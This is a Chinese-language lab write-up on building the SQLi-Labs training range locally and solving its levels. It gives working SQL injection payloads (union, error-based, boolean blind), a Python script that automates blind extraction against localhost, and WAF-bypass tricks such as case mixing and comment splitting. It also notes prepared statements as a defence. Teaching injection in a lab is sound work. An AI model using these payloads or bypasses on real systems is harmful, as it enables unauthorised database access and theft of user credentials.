1. SQL注入实战环境搭建指南
最近在整理Web安全实验环境时,发现SQLi-Labs这个经典靶场对理解SQL注入原理特别有帮助。这个用PHP+MySQL搭建的漏洞实验平台,包含了从基础到高级的65种注入场景,比单纯看理论文档直观多了。下面记录下我在本地搭建过程以及通关时总结的实战技巧。
重要提示:所有实验务必在本地虚拟环境进行,禁止对任何线上系统进行测试
1.1 环境准备要点
我的测试环境采用Windows 10 + XAMPP 3.3.0组合,相比单独配置Apache和MySQL,这种集成环境省去了很多依赖问题。需要注意几个关键点:
- PHP版本建议5.4-7.0之间,新版PHP可能不兼容靶场部分代码
- MySQL需要开启错误回显功能,这是学习注入原理的关键
- 下载靶场代码时建议用原版仓库(github.com/Audi-1/sqli-labs),有些修改版会修复漏洞
安装完成后遇到最多的问题是数据库连接配置。靶场根目录的sql-connections/db-creds.inc文件需要修改为:
php复制<?php
$dbuser = 'root';
$dbpass = ''; // XAMPP默认空密码
$dbname = 'security';
$host = 'localhost';
?>
1.2 数据库初始化陷阱
执行setup-db.php时常见两个问题:
- 数据库连接失败:检查MySQL服务是否启动,密码是否匹配
- 表创建失败:手动创建名为
security的数据库后重试
初始化完成后会生成以下关键表:
- emails:存储模拟用户邮箱
- referers:记录HTTP Referer
- uagents:保存User-Agent信息
- users:核心测试表,包含id、username、password字段
2. 基础注入类型实战解析
2.1 数字型注入(Less-1)
这是最经典的GET参数注入场景,URL结构为:
code复制http://localhost/Less-1/?id=1
构造注入语句时要注意闭合原SQL的引号和括号:
sql复制1' and 1=1 --+
这条语句能正常返回说明存在漏洞。实际渗透时会逐步尝试:
- 判断字段数:
1' order by 3 --+ - 确定回显位:
-1' union select 1,2,3 --+ - 提取数据:
-1' union select 1,group_concat(username),group_concat(password) from users --+
关键技巧:使用
--+而不是#注释,因为URL中#会被当作锚点
2.2 字符串型注入(Less-2)
与数字型不同,这里参数未用引号包裹:
sql复制SELECT * FROM users WHERE id=$id
注入时直接拼接逻辑即可:
sql复制1 and 1=1 --+
测试中发现MySQL的字符串比较特性:'admin'=0会返回TRUE,这个特性在盲注时很有用。
3. 高级注入技巧突破
3.1 报错注入(Less-5)
当页面没有数据回显但会显示SQL错误时,可以用报错注入提取信息。最常用的三种方式:
- updatexml报错:
sql复制1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
- extractvalue报错:
sql复制1' and extractvalue(1,concat(0x7e,(select user()),0x7e)) --+
- 几何函数报错:
sql复制1' and ST_LatFromGeoHash((select database())) --+
3.2 布尔盲注(Less-8)
当页面只有正确/错误两种状态时,需要用布尔逻辑逐位判断。手工测试效率极低,推荐编写Python脚本自动化:
python复制import requests
url = "http://localhost/Less-8/?id=1' and "
charset = "0123456789abcdef"
result = ""
for i in range(1,20):
for c in charset:
payload = f"ascii(substr(database(),{i},1))={ord(c)} --+"
r = requests.get(url+payload)
if "You are in" in r.text:
result += c
print(result)
break
4. 防御方案与绕过技巧
4.1 常见防御手段分析
- 输入过滤:
- 过滤关键词:
union,select,sleep等 - 转义特殊字符:单引号、注释符等
- 预处理语句:
php复制$stmt = $conn->prepare("SELECT * FROM users WHERE id=?");
$stmt->bind_param("i", $id);
- WAF防护:
- ModSecurity等Web应用防火墙
- 云WAF如Cloudflare
4.2 高级绕过方法
- 等价替换:
select→SeLeCt(大小写混淆)union select→un/**/ion sel/**/ect(注释分割)
- 编码绕过:
- Hex编码:
0x73656C656374= select - URL编码:
%27= 单引号
- 非常规注入点:
- HTTP头部注入:User-Agent、Referer
- 二次注入:先存储后触发
5. 实战经验总结
- 信息收集阶段要多尝试:
version():获取数据库版本database():当前数据库名@@datadir:数据库存储路径
- 遇到过滤时先测试边界:
- 输入超长字符串看是否截断
- 尝试非字母字符如
!@#$%^&*
- 数据提取优化技巧:
- 用
group_concat合并多行结果 limit 1,1逐行获取数据substring配合ascii逐字符判断
这个靶场我前后用了三周时间才完全通关,最大的收获是理解了不同数据库的特性差异。比如MySQL的information_schema在Oracle中就不存在,而SQL Server的xp_cmdshell能执行系统命令。建议每个关卡都先自己思考解法,实在卡住再看源码里的提示。